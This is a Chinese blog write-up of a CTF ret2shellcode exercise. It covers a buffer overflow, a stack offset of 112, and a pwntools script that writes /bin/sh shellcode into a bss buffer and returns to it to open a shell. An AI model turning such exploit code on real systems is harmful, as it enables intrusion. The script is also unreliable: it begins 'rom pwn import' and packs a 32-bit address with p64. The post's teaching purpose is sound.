首页 > 系统相关 >ret2shellcode

ret2shellcode

时间:2023-01-29 23:34:48浏览次数:38  
标签:shellcode bss ret2shellcode io 缓冲区 buf

ret2shellcode

篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址初期往往将 shellcode 直接写入栈缓冲区目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限

1674997762048.png

检查保护,没有任何开启

1674997880302.png

ida分析

1674997956651.png

1674997992294.png

存在缓冲区溢出,并将接受到的值放入bss区的buf里,并且bss区是有执行权限的,所以可以将shellcode写到里面。

gdb分析

1674998276067.png

计算栈偏移为112

编写脚本

rom pwn import *


io = process("./ret2shellcode")

io.recv()
shellcode= asm(shellcraft.sh())
shellcode = shellcode.ljust(112,b'B')
buf= 0x804A080
payload=shellcode+p64(buf)
io.send(payload)
io.interactive()


1674999128519.png

标签:shellcode,bss,ret2shellcode,io,缓冲区,buf
From: https://www.cnblogs.com/rayob1/p/17074088.html

相关文章